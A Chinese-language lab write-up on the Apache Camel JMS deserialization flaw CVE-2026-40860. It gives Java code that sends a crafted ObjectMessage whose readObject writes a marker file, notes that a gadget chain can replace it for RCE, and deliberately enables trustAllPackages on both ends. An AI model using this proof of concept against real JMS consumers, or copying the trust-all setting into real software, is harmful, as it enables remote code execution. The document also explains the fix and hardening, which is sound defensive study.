Apache Camel JMS 反序列化漏洞(CVE-2026-40860)教学文档
一、漏洞基础认知
1.1 漏洞概述
Apache Camel 是一款专注于系统集成的中间件,核心目标是将不同系统、协议和数据格式通过企业集成模式(EIP,如消息拆分、聚合、动态路由)进行“粘合”。
在受影响版本中,JmsBinding.extractBodyFromJms() 方法处理 JMS ObjectMessage 时,直接调用 javax.jms.ObjectMessage.getObject() 获取反序列化对象,但未实施任何安全校验(如 ObjectInputFilter、类允许/拒绝列表)。由于 mapJmsMessage 选项默认启用(true),当 Camel 作为 JMS 消费者时,攻击者可向队列/主题发布恶意 ObjectMessage,若类路径存在反序列化 gadget chain,即可实现远程代码执行(RCE)。
受影响组件:
camel-sjms2(继承SjmsEndpoint)camel-amqp(AMQPJmsBinding继承JmsBinding)- 所有基于
JmsComponent构建的 JMS 组件(如camel-activemq、camel-activemq6)
1.2 影响版本
| Camel 版本范围 | 状态 |
|---|---|
< 4.18.2 |
受影响 |
< 4.20.0 |
受影响 |
< 4.14.7 |
受影响 |
二、漏洞环境搭建
漏洞触发依赖 JMS ObjectMessage 反序列化,需搭建 3 个核心组件:消息发送者(sender)、消息中间件(broker)、Camel 消费端(camel-demo)。
2.1 组件 1:消息发送者(sender)
功能:构造并发送恶意 ObjectMessage 到 JMS 队列。
关键代码示例(Java)
package lab.sender;
import jakarta.jms.Connection;
import jakarta.jms.MessageProducer;
import jakarta.jms.ObjectMessage;
import jakarta.jms.Queue;
import jakarta.jms.Session;
import lab.payload.ProbePayload;
import org.apache.activemq.ActiveMQConnectionFactory;
public final class SenderMain {
// 默认 Broker 地址(ActiveMQ 经典版)
private static final String DEFAULT_BROKER_URL = "tcp://localhost:61616";
// 默认队列名
private static final String DEFAULT_QUEUE_NAME = "camel.lab.object";
public static void main(String[] args) throws Exception {
// 从系统属性获取配置(支持自定义)
String brokerUrl = System.getProperty("broker.url", DEFAULT_BROKER_URL);
String queueName = System.getProperty("queue.name", DEFAULT_QUEUE_NAME);
String message = System.getProperty("probe.message", "hello-from-sender");
// 创建 ActiveMQ 连接工厂(需开启信任所有包,绕过默认白名单)
ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl);
connectionFactory.setTrustAllPackages(true); // 关键:允许反序列化任意包
// 发送 ObjectMessage
try (Connection connection = connectionFactory.createConnection()) {
connection.start();
try (Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE)) {
Queue queue = session.createQueue(queueName);
MessageProducer producer = session.createProducer(queue);
// 构造恶意 payload(ProbePayload 为自定义反序列化类)
ProbePayload payload = new ProbePayload(message);
ObjectMessage objectMessage = session.createObjectMessage(payload);
producer.send(objectMessage);
System.out.println("[Sender] 已发送 ObjectMessage 到队列:" + queueName);
}
}
}
}
2.2 组件 2:消息中间件(broker)
选用 ActiveMQ Classic 5.19.2(Docker 部署),负责接收 sender 消息并转发给 Camel。
Docker Compose 配置
services:
activemq:
image: apache/activemq-classic:5.19.2
container_name: camel-lab-activemq
ports:
- "61616:61616" # JMS 通信端口
- "8161:8161" # Web 管理界面端口
注意:
- ActiveMQ Classic 存在默认反序列化白名单,需通过
connectionFactory.setTrustAllPackages(true)绕过(sender 和 Camel 端均需设置); - 若使用 ActiveMQ Artemis、IBM MQ 等无默认白名单的 broker,无需额外配置。
2.3 组件 3:Camel 消费端(camel-demo)
功能:作为 JMS 消费者接收消息,触发漏洞。
关键代码示例(Java)
package lab.camel;
import java.nio.file.Path;
import java.util.concurrent.CountDownLatch;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.camel.builder.RouteBuilder;
import org.apache.camel.component.jms.JmsComponent;
import org.apache.camel.impl.DefaultCamelContext;
public final class ConsumerMain {
private static final String DEFAULT_BROKER_URL = "tcp://localhost:61616";
private static final String DEFAULT_QUEUE_NAME = "camel.lab.object";
public static void main(String[] args) throws Exception {
// 从系统属性获取配置
String brokerUrl = System.getProperty("broker.url", DEFAULT_BROKER_URL);
String queueName = System.getProperty("queue.name", DEFAULT_QUEUE_NAME);
String markerFile = System.getProperty(
"probe.marker",
Path.of("target", "probe-hit.txt").toAbsolutePath().toString()
);
// 创建 ActiveMQ 连接工厂(同样需信任所有包)
ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl);
connectionFactory.setTrustAllPackages(true);
// 配置 Camel JMS 组件(启用 mapJmsMessage,默认值)
JmsComponent jmsComponent = JmsComponent.jmsComponentAutoAcknowledge(connectionFactory);
jmsComponent.setMapJmsMessage(true); // 关键:默认启用,触发漏洞
// 启动 Camel 上下文并添加路由
DefaultCamelContext context = new DefaultCamelContext();
context.addComponent("jms", jmsComponent);
context.addRoutes(new RouteBuilder() {
@Override
public void configure() {
// 从队列消费消息(触发反序列化)
from("jms:" + queueName)
.process(exchange -> {
// 处理消息(此处会触发 ObjectMessage 反序列化)
System.out.println("收到消息:" + exchange.getIn().getBody());
});
}
});
context.start();
new CountDownLatch(1).await(); // 阻塞主线程,保持 Camel 运行
}
}
2.4 恶意 Payload(ProbePayload)
自定义反序列化类,模拟攻击者 payload(实际攻击中可替换为 gadget chain)。
关键代码示例(Java)
package lab.payload;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardOpenOption;
import java.time.Instant;
public final class ProbePayload implements Serializable {
private static final long serialVersionUID = 1L;
private final String message;
public ProbePayload(String message) {
this.message = message;
}
// 反序列化时执行的恶意逻辑(创建文件并写入内容)
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject(); // 必须调用,否则反序列化失败
// 从系统属性获取标记文件路径
String markerFile = System.getProperty("probe.marker", "probe-hit.txt");
Path markerPath = Path.of(markerFile).toAbsolutePath();
Path parent = markerPath.getParent();
if (parent != null) {
Files.createDirectories(parent); // 创建父目录
}
// 写入反序列化结果(验证漏洞触发)
Files.writeString(
markerPath,
Instant.now() + " deserialized payload message=" + message + System.lineSeparator(),
StandardOpenOption.CREATE,
StandardOpenOption.APPEND
);
System.out.println("[ProbePayload] readObject 执行成功,标记文件:" + markerPath);
}
@Override
public String toString() {
return "ProbePayload{message='" + message + "'}";
}
}
三、漏洞复现步骤
3.1 前置准备
- 启动 ActiveMQ:
docker-compose up -d; - 编译 sender、camel-demo、payload 模块(确保依赖 Camel 受影响版本,如 4.18.1)。
3.2 执行流程
- 启动 Camel 消费端:运行
ConsumerMain,等待接收消息; - 发送恶意消息:运行
SenderMain,向队列camel.lab.object发送ObjectMessage; - 验证漏洞触发:
- 调试时在
javax.jms.ObjectMessage.getObject()处打断点,可观察到反序列化流程; - 检查
probe-hit.txt文件,若生成且包含deserialized payload message=hello-from-sender,说明漏洞成功触发。
- 调试时在
四、漏洞原理深度分析
4.1 漏洞触发点
漏洞根源在 JmsBinding.extractBodyFromJms() 方法,其核心逻辑如下:
// JmsBinding 类中处理 ObjectMessage 的代码
if (message instanceof ObjectMessage) {
ObjectMessage objectMessage = (ObjectMessage) message;
Object payload = objectMessage.getObject(); // 直接调用 getObject(),未校验
return payload;
}
4.2 反序列化流程
- Camel 消费 JMS 消息后,调用
JmsBinding.extractBodyFromJms(); - 方法识别到
ObjectMessage,调用objectMessage.getObject(); - 最终进入
ActiveMQObjectMessage.getObject(),其内部调用deserialize()方法; deserialize()创建ClassLoadingAwareObjectInputStream并执行readObject(),完成恶意对象的反序列化。
4.3 关键绕过点
ActiveMQ 的 ClassLoadingAwareObjectInputStream 有两个关键配置:
objIn.setTrustedPackages(this.trustedPackages); // 白名单包
objIn.setTrustAllPackages(this.trustAllPackages); // 信任所有包
若通过 connectionFactory.setTrustAllPackages(true) 开启信任所有包,则白名单校验失效,恶意类可直接反序列化。
五、官方修复方案
5.1 修复逻辑
官方在 JmsBinding.extractBodyFromJms() 中添加 checkDeserializedClass(payload) 校验,核心逻辑:
Object payload = objectMessage.getObject();
this.checkDeserializedClass(payload); // 新增:检查反序列化后的类
return payload;
5.2 修复效果
- 若反序列化后的类不在白名单,
checkDeserializedClass()直接抛出异常,阻止恶意对象进入 Camel 路由; - 默认兜底白名单包含 Camel 核心类(如
java.lang.String、java.util.Map),避免误拦截正常消息。
5.3 局限性说明
该修复仅拦截恶意对象进入 Camel 路由,无法替代 JVM/Provider 级别的反序列化过滤(如 ObjectInputFilter)。因为 Camel 无法直接修改 ActiveMQ 内部的 ClassLoadingAwareObjectInputStream 配置,需结合以下措施:
- 在 JVM 启动时设置
-Djdk.serialFilter全局过滤; - 在 ActiveMQ 中配置
trustedPackages白名单(而非trustAllPackages=true)。
六、参考资源
- 阿里云漏洞详情:AVD-2026-40860
- Apache Camel 官方公告:CVE-2026-40860
七、注意事项
- 实验环境需使用受影响版本的 Camel(如 4.18.1),修复版本(≥4.18.2、≥4.20.0、≥4.14.7)无法复现;
- 生产环境中禁止开启
trustAllPackages=true,需严格配置 JMS 反序列化白名单; - 建议结合 JVM
ObjectInputFilter和组件级白名单,实现多层防御。